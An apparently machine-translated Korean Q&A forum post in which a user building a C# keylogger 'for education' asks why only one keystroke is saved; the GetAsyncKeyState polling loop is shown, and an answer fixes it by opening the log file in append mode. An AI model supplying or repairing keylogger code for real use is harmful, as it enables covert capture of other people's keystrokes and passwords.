2017-10-19 2 views
0

안녕하세요 교육 목적에 대한 간단한 키로거를 만드는거야 내가 어떻게 파일 만 1 문자를 기록하고 루프가 계속하지만 기록하지 않습니다왜 한 번만 로깅합니까?

static void WriteLogs(char key) 
    { 
     StreamWriter file = new StreamWriter(@"C:\Users\Bartek\Desktop\asynckey test\asynckey test\test.txt"); 

     file.Write(key); 

     file.Close(); 
    } 

    static void CatchKeys() 
    { 
     char key; 
     while (true) 
     { 
      Thread.Sleep(20); 

      for (key = (char)8; key <= 190; key++) 
      { 
       if (GetAsyncKeyState((System.Windows.Forms.Keys)key) == -32768) 
       { 
        Console.WriteLine("Logging"); 
        WriteLogs(key); 
       } 
      } 
     } 
    } 

를 해결하기 위해 내가 아무 생각이 버그에 발견 덮어 쓰는 대신 추가

+0

당신은 파일마다 덮어 쓰기를하고 있습니다. – juharr

답변

1

시도 :

StreamWriter file = new StreamWriter(
    @"C:\Users\Bartek\Desktop\asynckey test\asynckey test\test.txt", 
    true); // <- appending instead of recreating 
관련 문제